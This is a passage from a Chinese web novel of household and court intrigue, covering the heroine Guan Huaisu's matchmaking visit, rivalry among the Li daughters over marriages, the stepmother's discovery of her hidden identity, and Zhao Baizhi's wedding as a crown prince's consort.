满院子人都惊叹,很快香案摆好,没一会儿就看到外头进来个人,宣旨之人,是周乐天。 他进门展开明黄圣旨,轻缓地念了旨意。 圣旨对赵白芷大加赞赏,除了圣人的赏赐,太后赏了一顶赤霞凤冠,最为惊人。 那赤霞凤冠以珠玉满缀,上首赤金凤凰,口衔三挂赤珊瑚……这可是太子妃的规制! 太后竟给赵白芷一个太子良娣赏了太子妃才能戴的凤冠! 这是何等的尊荣,又是何等的喜爱? 这几乎已经是在明晃晃地对着全天下人支持赵白芷与太子妃平起平坐! 后院的女眷全数惊的不知如何是好,还有人在盘算回家之后,要把礼物补齐,补到与太子妃出阁时一模一样的贺礼才成。 众人都是艳羡,关怀素眼底却全是担忧,忍不住轻轻握住了赵白芷发冷的手——如此高调、如此张扬地让一个人站在不该属于自己的位置上,却没有给对方相应的身份,这并不是好事。 若是不够谨慎,真的被纵的心大了,做出许多逾矩的事情来,不追究倒是还好,可若是追究,条条框框都是罪责。 圣人与太后到底是什么意思,为何要做出如此不太对劲的举动?而皇后连赏赐也没有,这难道是天价婆媳在借着赵白芷斗法? 关怀素脑海之中闪过无数可能,可是那些都不重要,她现在最担心的是,无论是什么理由,现在都是赵白芷被夹在中间,成了这棋局之中的一子。 关怀素并不担心赵白芷失去分寸,看她的神色就能明白,赵白芷也知道这里头的不对劲。 她担心的是,赵白芷身处其中,不是聪明就能解决的。 既然已经嫁给太子,她就已经彻底身入局中,从此要随着那些无形的手起舞了。 关怀素心中一阵难受,可她也没时间为赵白芷伤神了。 因晒妆宴结束后,孙大娘子便说与武安将军家的儿媳约好,一起去走走。 关怀素上了家里的马车,走了一炷香的时间,就换了个十分清雅的府邸。 这竟是个私人的宅邸,瞧着十分大且十分幽静,里头管家小厮丫鬟都十分懂礼仪,一瞧着就不是普通人家。 “这便是我那远房侄子自个儿的宅子。”武安将军那儿媳主动开口,对着众人介绍,“是我的小辈,隔得近些,我便想着带大家过来喝杯茶,解解酒。” 关怀素一听,再看孙大娘子神色镇定,立刻便意识到了,这许给她安排的相看。 果然武安将军那儿媳带着众人进了二门,里头院子里一个英姿飒爽的少年郎回首对大家微笑,正是关怀素上次见过的西域商人刘仁。 “这屋子原是前朝王爷的府邸,我这侄子买下之后,叫人修整一番,才有如今气派。”武安将军的儿媳笑着对大家解释,指着那回廊下的小路说:“这些都是苏州运过来的水洗石,都是一颗一颗挑了一样的花色,这些回廊木料也是从河北运来的,全数都是三十年以上的老料子,这些都不算什么,花园子里那太湖石搭的假山,才叫真的有趣呢!” 孙大娘子一听,登时唬的一跳,连声说:“这得花费多少钱财!” “我们家自有运输商队,这些材料在地方上也不是那么金贵。”吴娘子还没答话,刘仁就笑着过来对他们拱手行礼,说,“姨母这是给我打肿脸充胖子呢!见过夫人,诸位姐姐安康。” 他一开口说话就风度翩翩,人瞧着也英俊,且看着身价不菲,一时叫婉蓉婉淑都眼前发亮,纷纷含笑与他见礼。 接着刘仁领着大家伙一起逛了下这个府邸,全程作陪,没有一丝不耐烦,不但陪着玩耍,临走的时候,还特地给她们一群人都备了见面礼。 “哎哟,这实在是贵重,怎好受得。”孙大娘子瞧了一下礼物,登时唬的一跳,刘仁出手实在是大方,不过是第一次见面,给她和三个姑娘一水儿准备的都是香器,香炉做工精巧,山中小鹿立于山峰之上,瞧着十分精致。便是孙大娘子不了解香器,也知道这东西绝对不便宜。 “这是江南一带的老师傅手艺,便是放在京师也算是上得台面的好东西。”武安将军儿媳怕他们小门小户没见过世面,又笑着解释,“买它倒是不费钱财,三五十两也得了,就是没有门路倒是买不到呢!” 这话说的,孙大娘子益发推辞,可刘仁却风度翩翩地笑着说:“我身无功名,也就帮着家中做些生意,孙姨母不收我的东西,难道是看不上在下区区一介商人之子?” 孙大娘子再不拒绝,立刻叫下人把礼物收了。 孙大娘子这么一收,婉蓉头一个亲手接过,喜不自胜,便是婉淑也笑嘻嘻的,十分喜悦。 柳叶看关怀素一眼,见她微微颔首,也赶紧接了东西,众人道谢之后,便自告辞。 这给关怀素安排的相看,就这么结束了。 不得不说,比起马修文,刘仁无论是他这个人、还是他为人处世,都处处好了许多。 不光是人端正守礼、进退有度,便是做事也十分尊重人,马夫人第一次见她就急吼吼赠金环,马上要把婚事定下。 但是武安将军儿媳行事却端庄大方,不但没表现出对李家三个姑娘任何区别,连最后刘仁赠礼也是三个姑娘一模一样。 这才是大户人家谈婚姻之事应该有的气度和礼节。 若不是关怀素被周乐天提醒,知道刘仁真正的身份是大长公主第二子的话,或许会觉得此人并不讨人厌,她不愿意谈婚论嫁,但是却也可以当个普通朋友。 可是当得知刘仁的真实身份之后,无论刘仁表现得多么完美,但是关怀素心中唯有警惕。 她心中苦恼,那边婉蓉和婉淑却全然不知,婉蓉还有些妒忌地说:“大娘子对大姐姐也太上心了些,上回那个不喜欢,这回找了个更好的。” 毕竟刘仁瞧着不但年少英俊,而且更是能掌家,瞧他出手就知道,嫁给他日后只怕再不缺银钱花用了。 婉蓉最重黄白之物,越看手中的香炉越喜欢,越喜欢就越妒忌关怀素,说话之中益发酸溜溜的,直说羡慕关怀素。 “哦?上回马修文二妹妹也说喜欢呢。”关怀素只一句话,就叫婉蓉脸色涨红,一句话也说不出来了。 “大姐姐,先前我阿娘并不知道马家家风问题,知晓之后,立刻便也拒了。为了这事儿还得罪了小姨母,你看今儿我小姨母都没过来给我阿娘打招呼呢!”婉淑本就十足十一个孙大娘子的样子,随着年岁又大了一岁,如今瞧着益发圆融了。 只是关怀素并不吃这套,看她一眼,突然说:“妹妹最近要与赵家定下婚事了吧?我先在这里祝妹妹日后前程似锦、子孙绵延。” 婉淑脸一下子通红。 她还没说话,婉蓉却一瞪眼睛,对关怀素生气地说:“你凭什么这么说?你怎么知道赵家要如何决定?” 关怀素看这个蠢货一眼,轻描淡写地说:“二妹妹,今儿吃酒的时候,你没注意到三妹妹在帮着白芷妹妹招呼大家吗?” 若不是赵家私下与李家已经彻底通了气,婉淑绝对不可能做出如此逾矩的动作。 赵白芷与关怀素说话的时候十分委婉,但是姻亲之好事关重大,她那么个谨慎人,能说到差不多,那基本上就是定下来了。 且白日酒席上,婉淑招待人,态度自然地叫家里的管事妈妈送东西,管事妈妈都个个神色自若,这就说明此事不但是两家家长明白,家里的下人也都知晓这是未来家中二少夫人。 婉蓉哪里看得出来这些猫腻? 她上午先是忙着妒忌赵白芷的嫁妆,后来又艳羡她得了太后上次的凤冠,后来忙着和一些庶女出身的手帕交说话闲聊,一整天下来,她压根就没注意到其他两个姐妹在忙活什么。 这会子听关怀素说起来,她登时瞪大眼睛,不可置信地看向婉淑,说:“大姐姐说的是真的吗?此事真的定下来了?!” 婉淑自己也是白日才被阿娘带着私下拜见赵夫人,而后得了对方从手上亲自撸下来的一只雪白雪白的玉镯,亲口听到对方笑着说:“我素日就知道你稳重懂事,一直盼着日后你来我家里,白芷出嫁之后,家里缺了个帮手,我这日子也觉着劳累呢。” 这话说完,婉淑的心就顺着那玉镯,终于落到了实处。 她心中喜悦,原先没被点破还兀自强行镇定,此刻等到关怀素一语点破,再被二姐姐蹬着,婉淑心中又羞又喜,却也不再隐藏,动了动手,把一直用袖子藏着的玉镯露了出来。 那玉镯雪白莹润,婉蓉之前在赵夫人手上也看到过,也曾听赵二郎笑着说过那是祖传的镯子,原是一对,一只给了大嫂,另一只以后是要给他的娘子。 当时二哥哥说完还眼带笑意看着婉蓉,让婉蓉又羞又喜。 那时婉蓉以为这是二哥哥心悦自己的暗示,如今戴在婉淑手腕上,却像是一记耳光打在她的脸上,火辣辣地生疼。 婉蓉不敢置信,说:“二哥哥跟我说过的,他不喜欢古板无趣的女子……” “二姐姐!有些话还是不要乱说!”婉淑的喜悦被这句话立刻打散,容貌不出众是她一直以来最大的忌讳,今儿是她这辈子最为喜悦的一天,她决不允许婉蓉打破自己的喜悦。她怒声说,“如今二哥哥和我的婚事已经定了,下月初八我生辰就会宣告,还望二姐姐知礼守节,日后进退得宜一些。” 婉蓉此前一直笃定自己是最有可能被选中的二少奶奶,尤其是赵白芷被选为太子良娣之后,赵家门第日高,她心中更是把赵二郎视为囊中之物。 而且她一直忌惮的是大姐姐,针对的更多的也是大姐姐,但是她万万没想到,她一直以为二哥哥最不喜欢的婉淑,却成了最后雀屏中选的那个。 她心中愤恨,想说什么,眼圈发红,可是却不敢哭、不敢说。 因为车子已经到家,下人掀开帘子,请姑娘们下车。 婉蓉一摔马车帘,第一个下了车,竟是连给父亲和大娘子请安都不曾,直接一路小跑着回了西院。 关怀素看着婉蓉跑着还在擦泪,知道她是真正地伤心了。 “大姐姐,你如今真是洞察秋毫。”婉淑在身边轻声对关怀素说。 这么细微的一些事情,连镯子都没看到,大姐姐就知道她与二哥哥的婚事定下来了,这洞察能力叫婉淑发自内心地恐惧。 没错,虽然外表镇定,但是婉蓉这一瞬间,是真正地有些怕这个大姐姐了。 “不是我洞察秋毫,是我无欲则刚。”关怀素看着婉蓉进了二门看不到了,才转头看婉淑,盯着她的眼睛说,“什么二哥哥,什么大哥哥,我一概都不感兴趣,也不在意。所以我能看得清楚。” 这话说得婉淑一愣。 “嫁人干系后半辈子,大姐姐说不在意,不是打肿脸充胖子吧?”婉淑不可置信地脱口而出。 “随你怎么想。”关怀素微笑摇头,只轻声说,“妹妹和大娘子如今都得偿所愿,方才忘了道贺了。祝妹妹日后与夫君百年好合,举案齐眉。” 这话说完,婉淑就看到身后马车停稳,母亲从马车上下来,恭敬地等着父亲,而一边父亲才在车辙上,就看到远处崔小娘带着泪唤:“珺哥哥,珺哥哥!” 婉淑就看到,父亲本来伸出要握住母亲的手立刻转了个弯,立刻问崔小娘:“怎么了?妙人,你为何哭了?” 母亲脸上的笑容一下子慢慢沉下来,最后慢慢往下微垂,又是平素最常见的温柔端庄的大娘子。 不知为何,喜悦了一整天的婉淑看到这一幕,突然全身发冷,一下子像是充盈的皮口袋被戳破了个口子一般,里头的喜悦哗啦啦全数流下来,浇在地上,迅速被大地吞噬,消失的干干净净,像是从未存在过一般。 第九十二章 身份暴露 崔小娘哭得上气不接下气,抱着李珺一声声地喊哥哥,又说心口痛,李珺到底疼爱她多年,哪怕最近因为宁小娘对她冷淡许多,这会子见她落泪,也顾不得其他,只一叠声地要叫郎中。 关怀素热闹看够,自在回屋。 孙萍看着难受,但是她到底也难受了半辈子,很快也吐出一口浊气,不管那对男女弄出的动静,拉着女儿笑着回屋。 “快来给我看看你那镯子!”回了屋,孙萍开心地抓着婉淑的手,看那玉镯子莹润白皙,十分满意,笑着连连点头,说,“这镯子到底是前朝的老东西,如今再难得找到这么好的料子了,瞧瞧,一下子衬的淑儿气度都不一样了。” 她后面这句话是跟身后扶芳说的,筹谋大半生,这会子女儿得了最好的结果,她怎能不喜,怎能不满意呢? 扶芳也知道她开心,便立刻捧场地上前打量一下立刻说:“哎呀,真是佛要金装,咱们姑娘这镯子一戴,愈发有高门主母的气度了!” 扶芳这么一捧场,孙大娘子更是开心,笑了一会儿才发现婉淑脸色闷闷不乐,登时奇怪了,说:“你这是怎么了?方才回家之前还开开心心的,这会子怎么又不高兴了?” 婉淑想到方才一幕,心中就不免想到日后二哥哥也会如此,那一刻,站在那儿的仿佛不是阿娘,而是变成了她自己。 她一颗心又不是铁打的,年少慕艾,虽考量现实,但是亦有真切的爱慕。 她颜色一般,能定下婚事,靠的是阿娘的多年筹谋与自己的忍耐。婉淑其实心里知道,二哥哥瞧着二姐姐的时候,总是眼睛发亮,只是二姐姐出身低了些,才没办法。 甚至前不久,二哥哥对大姐姐也是殷勤小意了一阵子,只是后来不知为何,才突然没了兴致。 婉淑把自己的想法说出来,眼圈发红,轻声说:“阿娘,我、我日后,会不会也和阿娘一样,二哥哥总去别人屋里,我便只能日日守着屋子……” 说到这里又觉得不好,婉淑连忙说:“阿娘,我不是那个意思……” 她想解释什么,孙大娘子却叹了口气,轻声说:“傻孩子,我知道你的意思。” 她抱住婉淑,摸着她的头发,轻声说:“淑儿,你看着阿娘日日小心经营,看着西院里头那个得你爹喜欢,你心里害怕,我都知道。” 婉淑眼泪一下子就下来了,靠在孙大娘子怀里,声音已经有了泪意:“阿娘,我不想如此。” “淑儿,人不能和命斗。”孙大娘子拍着她的背,轻声说,“这人啊,想过得好,得紧着手里的牌去打,老天爷给咱发了什么牌面,便要随着去出。最最忌讳的是什么,你知道吗?” 婉淑闷闷地说“不知道”。 孙大娘子便笑了出来,温声说:“最最忌讳的,是不看手里的牌,什么都想要,那样的话自然会输,最后一败涂地。” 婉淑明白阿娘的意思,她是说,她们生下来已经是这样,容色一般,那么便要有更好的耐心、更好的筹谋,漂亮的姑娘们能娇嗔、犯错,可她们却不行,一步错、满盘皆输。 “可是、可是阿娘你不委屈吗?”婉淑不明白,她光是想想就委屈地想哭,阿娘却为什么能如此平静地说起来这些不公。 “委屈?”孙大娘子摇头,轻声说,“这委屈啊,是留给有人心疼的人的,若是阿娘和你一般大的时候,天天只想着委屈、只想着自己多可怜,那会如何呢?” 婉淑想了一下,若是阿娘立不起来,若是阿娘没想办法嫁给父亲,就会被舅母嫁给那个品行不端的表舅,那表舅不但吃喝嫖赌样样俱全,还是个短命鬼,后来早早就死了。 若是那样,她和弟弟就会变成无人庇护的破落户,阿娘也没什么嫁妆,到时候甚至不知道能不能养活自己,更别提让她和弟弟养尊处优,自小过得锦衣玉食,而且还叫自己嫁给三品大员、太子良娣娘家府里,日后与良娣还能称呼一声姑姐。 婉淑越想越是头脑清楚,脑海之中的愁苦和悲伤慢慢彻底消失干净。 她眼神慢慢变得坚毅起来,看着孙大娘子点头,轻声说:“阿娘,女儿明白了。这日子都是人过出来的,与其哭哭啼啼,我不如多想想法子,日后多在婆母面前尽孝,学习主持中馈,日后若是二哥哥有什么别的想法,总不叫人越过我去就成。” 孙大娘子点头,慈爱地笑着说:“你想清楚,母亲便这辈子也不担心你了!” 说完,又叮嘱她说:“今儿事情定下来,别的我不敢多说,但是你父亲私下与我承诺过,事情定了,会把西坊那边的铺面给你做嫁妆,再添置一块五百亩的地。” 京师西坊的铺面极其昂贵,每年光是租钱就极其丰厚,更别提还有那么大一块地,婉淑一听登时眼睛发亮,喜悦地说:“真的?阿娘可不是诓我?” “我骗你作甚,好歹也是嫁太子良娣的娘家,自然不能太小气了。”孙大娘子看她开心,也笑起来,温柔地说,“这些都是家里给你的底气,阿娘私下给你买了个三百亩的小庄子,只你嫁进门之后,这些事情也不要傻乎乎全交代给二郎了,知道不?” 这事儿婉淑自小跟着阿娘掌管家里,自然明白,闻言立刻点头,轻声说:“阿娘,我知道,这钱财还是捏在自己手里才自在快活。否则若是多了,叫人惦记算计。” “嗯,你明白就好。后日良娣出嫁,赵家事情多,赵夫人与我说了,到时候叫你陪着她待人接物,这几天你就好好休息,后日要好好打扮,一定要做足脸面。”孙大娘子说到这里,婉淑已经脸颊绯红,害羞地点头,回自己屋里休息去了。 婉淑走了,扶芳轻声说:“娘子,妈妈今儿一大早就来了,等您一天了。” 孙大娘子精神一振。 “娘子,昨儿半夜我那孙儿回来了,带来了大消息!”周妈妈精神抖擞,眼睛都在放光,进门就说,“永年县家家户户都不说关家的事情,关家老宅有人把守,什么都查不出。” “竟如此森严?”孙大娘子皱眉。 “是啊!我孙儿在京师也见过许多人,说守在那儿的人瞧着不对劲,竟像是都见过血的,不敢再问。”周妈妈轻声说,“也是娘子运道,我孙儿打算离开,结果一场暴雨逼得他找了个村庄在半路上休憩……可不就是那么巧,那地方刚巧有人见过关家祖孙!” 人只要活在世上,总是雁过留影的。 哪怕是周乐天早早派人遮掩,永年县的人再守口如瓶,可却拦不住关怀素跟祖父多年留下的痕迹。 也是孙萍真有些运道,刚巧周家小子驴车坏了,修理的时候攀谈起来,偏修车的那人是受了关家恩惠的农家子,那农家子厚道,周妈妈那孙子有心算无心,故意言谈模糊,让人家以为他是关氏姑爷家里的下人。 于是那农家子大喜,不但好酒好肉招待,免费修了驴车,还送了一堆乡下的山货,托着转交给关家如今唯一在世的姑娘。 至于当初遇到关怀素的事情,自然也是知无不言言无不尽。 “我孙儿打听得清清楚楚,那姑娘形貌长得与咱们家大姑娘一模一样,只是身量高不少。不但如此,据说那姑娘生辰与咱们大姑娘竟也是同一天!”周妈妈压低声音,飞速说完,而后大喜说,“娘子,咱们拿到了证据,家里这个不是大姑娘,赶紧告诉老爷啊!” “不着急,玉丫头呢?”孙萍也是狂喜,但是她是个周密人,反而压下来情绪追问。 周妈妈神色一滞,轻声说:“我孙儿听说,关老的关门弟子去年五月曾与关家姑娘一同上京师,而后扶灵归乡。没说是谁,但是只说要葬入关家祖坟,可是听着……从京师扶灵回乡的姑娘,只怕八九不离十是家里大姑娘。” 孙萍吓得当场弹起来,不可置信地问:“玉丫头死了?!” 而后她猛地攥住帕子,说:“坏了,玉丫头的死恐怕有问题!” 否则关家的姑娘不会改换身份,突然跑到家里来,只怕此次前来,是来调查姐姐死因的! 孙大娘子一下便想出来了关怀素来的原因,她素来脑子聪慧,更是一下想到了致命的事情——婉玉当初死,是下人苛待,而且在庄子上,动手那么刻薄的人,是白有才,是老夫人的陪房! “娘子不必担心,这样也与咱们无关!”周妈妈立刻想安慰主子。 “这是和咱们无关,但是关家那牙尖嘴利的,若是把事情捅出去,如此丑事,咱们日后怎么出门?淑儿和瑜哥儿日后怎么出门?”孙大娘子当然不管关怀素是来做什么的,但是若是老夫人刻薄孙女,叫丧母之女在家被刻薄死,甚至可能是谋害死的话,那别说他们,就是李珺都得马上辞官。 那老虔婆一直深恨关娘子,未必真没对李婉玉下死手! 孙萍可是隐约知道一点老夫人的态度,她对李婉玉的恨意可不是一般大。 “娘子打算如何做?”周妈妈听孙大娘子说完,也意识到了,不能叫关怀素把这事儿捅出去,否则连累到一家人没法儿过日子了,她着急地说,“不如告诉老爷,赶紧把这事儿处理了?” “她肯定没找到证据,否则不会还好端端地待在家里。”孙大娘子脑子一转,立刻明白了目前的情况,冷笑一声说,“先别告诉老爷,最近这些日子正是老爷的要紧日子,别叫这种小事分了心。” “她找不到任何证据,而我先发现了她的身份。那么她就该明白,她最好是乖乖听话。”孙萍眼神狠厉,轻声说,“她说破天,也是李家女儿,一个孝字就能压死她!她要么乖乖给我嫁出去,别惹麻烦,要不她把事情捅出来,没有任何证据,我们多的是办法整治她!” 周妈妈一听,立刻恍然大悟,瞬间开心起来,连声说:“能治她就好!” 二人说完,孙大娘子一时之间志得意满,说:“没事,我给她找了那西北豪商,到时候她最好给我乖乖嫁过去,否则……” 孙大娘子冷笑一声,一切尽在不言之中。 第九十三章 婉蓉立志 那边孙大娘子有了打算,这边崔小娘和婉蓉都在哭泣,崔妙人抓着李珺的手,眼含热泪地说:“珺哥哥,你答应过我的,老夫人也说,咱们蓉儿品貌上乘,今年开春她还打算给蓉儿做脸,日后嫁个好人家……” 这原是崔小娘与老夫人私下的商量,这会子却还没开始,赵家的婚事就定了,更让崔小娘暗恨的是,赵家如今还出了个太子良娣,如此好的人家,竟叫蓉儿错过了,她如何能甘心? 李珺却不知道老夫人和她的筹谋,这会子一听登时诧异,说:“赵家一直以来就看好的是淑儿,一直没考虑过蓉儿啊!” “爹你胡说!二哥哥一直跟我很好!他定然是被父母强迫的!”婉蓉一听,不等小娘说话,立刻哭着大喊,“女儿节时,二哥哥还特地甩开三妹妹,带我单独逛园子呢!” 李珺一听脸都黑了,连声说:“你胡说什么!赵家一直跟我说的是考虑玉儿或是淑儿,他们怎么可能用嫡子娶庶女?!” 这话一出,别说婉蓉愣住,便是崔小娘也愣住了。 她眼泪一下子就出来了,凄楚地说:“珺哥哥,原来是我连累蓉儿了……是我……” 李珺心中一痛,他连忙说:“妙人,我不是这个意思,在我心中,你就如我的妻子一般,蓉儿也是我嫡亲的女儿。可是外头人不会这么想啊!” 看崔小娘眼泪止不住,他连忙说:“妙人,我早就替婉蓉看好了人家,是户部苏郎中家里的三儿子,那孩子已经有了秀才功名,到了明年就要下场,到时候若是能中举,有父兄照拂,还有我们帮衬,日子不会差的。” “户部郎中家里的三儿子怎么比得上二哥哥!”崔小娘还没说话,婉蓉就气得哭出声来,她连声说,“白芷妹妹后日就要成太子良娣,三妹妹嫁给二哥哥,日后就是太子良娣的嫂嫂,日后便连皇城内宫也去得。我呢?我便一辈子当个秀才娘子,他若是中了,少不得外放去乡下县里,日后连回京的日子都不一定能见到……爹爹你偏心!” 说到这里,婉蓉嚎啕大哭,竟是什么都顾不得了。 李珺听着生气,好好的这么一门姻亲,到了这二女儿嘴里,竟是一点好处也没有似的。 可是他又确实心疼她,毕竟这个二女儿自小贴心可爱,最是娇憨天真的一个孩子,自小如珠似宝地养着,从来没叫她受过委屈。 婚事上却叫淑儿占了先,姑娘家一时委屈,也是常事。 可是这不代表李珺会纵容她,这会子他便叹了口气,对崔小娘说:“许多事情,原先蓉儿还小,你许是忘了教导她,如今趁这个机会,你便多和她说说吧。” 说完,李珺站起身,转头就要离开。 还在落泪的崔小娘一下子慌了,诧异地说:“珺哥哥,你去哪里?” “前几日冷,双双身子弱有些风寒,我去看看。”李珺说,“蓉儿也到了出阁年纪,你也要多花些心思教导她才是。” 说完,李珺转身就离开。 崔小娘瞪大眼睛,不可置信地看着李珺离开,婉蓉还要哭,崔小娘却突然眼泪一抹,眼泪全数收了干净,只冷冷地看着婉蓉继续哭。 “小娘,二姑娘再这么哭,仔细倒了嗓子。”姜妈妈在旁边看了半天,这会子看不下去,上前劝告,“不如上些热茶叫姑娘喝了,定定神,这样伤身子呢。” “叫她哭!哭得病倒最好!刚好三日之后太子良娣出嫁,她妹妹婚事才定下来,她就病倒,赶紧给全京师的人都知道她嫁不成赵二郎在家要死要活!”崔小娘冷声说,“到时候嫁不出去,左右家里也不是养不起,就在家里做姑子,或是远远找个穷乡僻壤嫁了也行!” 这话一说完,婉蓉气得从凳子上站起来,怒声哭着喊:“小娘,是我受委屈,你怎地还这样讥讽我!” “你就哭,哭得生病了,哭瞎了最好,你看赵二郎会不会因为这样对你内疚!”崔小娘恨铁不成钢,怒声说,“你爹不在,赵二郎不在,你在这里哭有什么用,算什么本事?你若是真有本事,今儿婚事就不是定了婉淑!” 这话说的实在是扎心,婉蓉心中本就又气又急,这会子哭了半天,又被小娘如此指责,顿时气急攻心,好悬没一翻白眼厥过去。 崔小娘看她这样,唬了一跳,连忙过来看,看婉蓉只是跌坐在凳子上愣愣发呆,便放下心来,一巴掌拍在婉蓉的脑袋上,怒声说:“没出息的东西!往日你与我说的如何如何好,说你二哥哥如何不喜欢婉淑,又对你如何殷勤,我还当事儿已经成了八分呢!如今既是如此,你也要认命,你爹说的那婚事我听着就很好。” “我不!”说到这个,婉蓉不哭了,只恨恨地说,“凭什么?我样样都比婉淑好,凭什么我要嫁得比她差?我才不嫁那穷酸秀才!” “凭什么?你爹方才都说了,凭身份!”崔小娘生气了,指着婉蓉说,“你要是真有本事让赵二郎为了你与全家对着干,喊着非你不娶,我拼着命也去你爹面前去哭闹,也要给你争出个高低!但是你想想,赵二郎给你透过口风吗?他跟你说过他在议亲的事儿吗?” “他、他……”婉蓉想说有,可是此刻她回忆起来,才发现二哥哥给了她很多很多暗示,但是却从没有一句准话。 崔小娘一下子就看明白了,她心里的最后一点希望也彻底放下来了,放低了声音,叹了口气说:“我的儿啊,你想明白了?你二哥哥就逗你玩呢!” 婉蓉不敢相信,一时之间委屈莫名,眼泪又一串串地落下来。 “蓉儿,别哭。你如此品貌,将来若是嫁人,自然会夫妻和睦。你别看你三妹妹如今风光,但是我瞧着赵二郎不怎么喜欢她,日后后院里还真说不好是谁做主呢!”崔小娘看她不撒泼了,只默默掉眼泪,登时也心疼起来,抱着她拿帕子擦眼泪,一边小声哄,“这人过日子,可是一天十二个时辰都要慢慢过的,你若是琴瑟和鸣,哪怕没有那么富贵,但是依然快活;但是若是反过来呢?那就是钝刀子磨人,不好过的。” 婉蓉愣愣地听着,崔小娘又轻声说:“你爹爹因为这个事儿,少不得对你心怀愧疚,你祖母也疼惜你,这回筹谋不成,她也定会贴补你,到时候小娘一定帮你多要些实惠嫁妆,总不会叫你吃亏了去!” 如此哄了一会儿,婉蓉哭了一场,声音沙哑精疲力尽,心中虽还不愿接受现实,到底只能回屋休憩。 她回了屋,也不洗漱,只愣愣地坐在梳妆台前,一动不动。 宝珠看着害怕,轻声问:“姑娘,要不梳洗一下?” “你来给我拆头发。”婉蓉轻声说,宝珠松了口气,立刻上前,开始给她拆发髻。 今儿做客,婉蓉梳的是双环髻,戴的是一对今年新做的金蝉发梳,搭配着几朵攒纱宫花。 手腕上戴的玉镯还是去年老夫人赏赐的。 东西全数脱下,宝珠打开妆枢,把东西一个个归位,里头的每一样首饰,婉蓉都十分熟悉。 “宝珠,你知道吗?我记得这妆枢里所有东西。这个发钗,是我及笄的礼物,还是我从大姐姐手里要过来的;这个金镯,是我找爹爹撒娇要来的生辰礼物;这对耳环,是小娘给我的……”婉蓉突然指着妆枢里的首饰一一说,“这些东西何年何月、从何而来,以及价值几何,我全数都记得清清楚楚。” 宝珠一愣,她呐呐地说:“姑娘好记性。” “不是我好记性。”婉蓉却冷声说,“是我十岁那年,大娘子带我们去银铺玩耍,我看中了一对簪花,我想要,可是大娘子说,家里才置办了首饰,不可奢靡,再说我年纪还小,何必急着戴这么贵重的首饰,就带我们回来了。” 但是婉蓉实在是太喜欢那对簪子了,回来便缠着小娘要,可小娘却拿不出钱来。 “那时我才知道,我小娘看着风光,但是庄子上的钱财交上来,先要给舅舅一家刮一层油,弟弟每年读书、与同窗来往,就能把小娘的体己掏走大半,小娘自己也要支应打点,算到我手里,竟已经不剩多少了。”婉蓉轻声说。 她没有哭,声音很冷静,可是这份冷静却让宝珠难受,她轻声说:“小娘对姑娘很好的,有时候自己支应不上,也总想着贴补姑娘呢。” “我知道。”婉蓉看着镜子里的自己,轻声说,“我说这个,不是怨恨小娘。而是我自那之后就知道,没钱的日子不好过。” “那户部郎中是京官,家里应当也不差的。”宝珠轻声试图安慰。 “五品官员,又不像咱家家底厚,只怕更抵不上赵家漏出来的。”婉蓉冷声说,“日后太子良娣稍微赏点,也够三妹一生受用了。” “可是,如今都定下来了……”宝珠忍不住劝她,“姑娘还是别太劳神了,这事儿已经板上钉钉了呀!” “我当然知道!”婉蓉恨声说,“可是我不服!二哥哥家里为何看不上我?父亲说是因为身份,这京师里,什么时候按女儿出身大娘子还是小娘肚子来算身份了?不都是看家里爹的吗?!赵家不就是看着父亲品阶低,才在我们家里肆意挑选!说什么看不上我,不就是都知道大娘子早早给婉淑备了许多嫁妆,日后能帮得上二哥哥么?!” 婉蓉冷笑地说完,压低声音,说:“都是些狗眼看人低的,二哥哥的事儿定了就定了,我便要自己寻摸个更好的如意郎君不可!” 宝珠为她这句话有些担心,但是看她起身打算休息,也当她是说气话,便忙上前跟着伺候,事情按下不提。 第九十四章 赵白芷出嫁 三日一晃眼过去,很快到了赵白芷出嫁的日子。 一大早众人就前去做客,宴席里十分热闹,临到赵白芷要出门子的时候,福宁郡主穿了一身大红的霞帔礼服,头戴凤冠,打扮得和新娘子差不多,拦在赵家二门口,对赵白芷说:“恭贺白芷妹妹。” 瞬间满堂鸦雀无声。 京师无人不知,福宁郡主自小对太子情根深种,为了太子至今未曾出嫁,且她心中妒恨太子姬妾,连太子妃的宴席都敢发酒疯砸酒杯。 这样的人,未必不敢给太子良娣没脸。 赵白芷素来是个谨慎人,和太子的婚事定下来之后,便是寻常姐妹之间的小聚都不曾走动,一直避着福宁郡主的锋芒,却没想到青天白日的,被拦在出嫁的路上。 喜帕之下,赵白芷的脸色也不好看。 大喜之日,如此打脸,福宁郡主实在是欺人太甚。 而且赵白芷也知道,今儿若是给福宁郡主欺压,以后她这个太子良娣便再也没有一丝威严。 这事儿赵白芷知道,赵家人也知道。 “郡主,多谢你来道贺,您快入席,我这快站不住了。”赵二郎好歹也是常年跟在太子身边的伴读,与福宁郡主也有几分情面,这时候便背着妹妹赔笑地开口。 素日福宁郡主也会给他几分面子,但是今儿却是完全不管用了,福宁郡主显然是喝了些酒才来的,这会子脸上熏染出一股子酒气,只恶狠狠地盯着赵白芷,怒声说:“白芷妹妹,你也算一直和我关系还好,那你怎么能答应嫁给太子哥哥!” 这话说的,眼见着他日就要传遍京师。 赵夫人瞧着不对,立刻上前赔笑说:“郡主,您吃酒了吗?要不下去歇息一会儿?” 福宁郡主却不管不顾,显然她今日愤怒到了极点,竟是什么也不管了,只堵着赵白芷喝问:“赵白芷,你说!你说清楚!” 眼见着情况快要压不住,要出大事的时候,却听到门口传来一声熟悉的声音,轻柔却含着威严,轻声说:“福宁喝醉了,大家帮忙,把福宁郡主先带下去醒酒!” 众人循声看过去,才发现小侯爷周乐天正站在门口吩咐。 如今在场也只有他一个人敢这么做,他这一开口,外头的常青青等人立刻带着几个武将女眷上前,半拽半抱地来拖福宁郡主。 福宁郡主还要哭闹,常青青一个手刀下去,然后惊呼:“哎呀,郡主醉倒了!” 关怀素就眼睁睁地看着福宁郡主昏迷着被带走,然后婚礼继续进行,把赵白芷送到了门口,上了花轿,女眷家的礼仪就算完成了。 看着赵白芷被花轿抬走,太子殿下打扮一番其实也十分丰神如玉,在场许多不知情的姑娘们还十分羡慕,关怀素就听到有人小声说“白芷姐姐真是好福气,殿下不但身份高贵,人也好看。” “岂止,听说宫中太后也十分喜欢白芷姐姐,竟赐了太子妃规制的婚服头冠呢!”另一个姑娘也小声羡慕地说,“白芷姐姐的命真好。” 可见这鲜花着锦、烈火烹油,确实能蒙蔽人的心神。 关怀素心中担忧,面上还不能表现出来,跟着赵家人的招呼,笑意盈盈地随着宴席落座。 “婉淑妹妹一直跟着赵夫人呢!”一落座,久不见的丽娘就忍不住骄傲地笑着开口,对着关怀素与婉蓉得意地说,“要我说,除了白芷姐姐有福气,婉淑妹妹也是有福气的。” 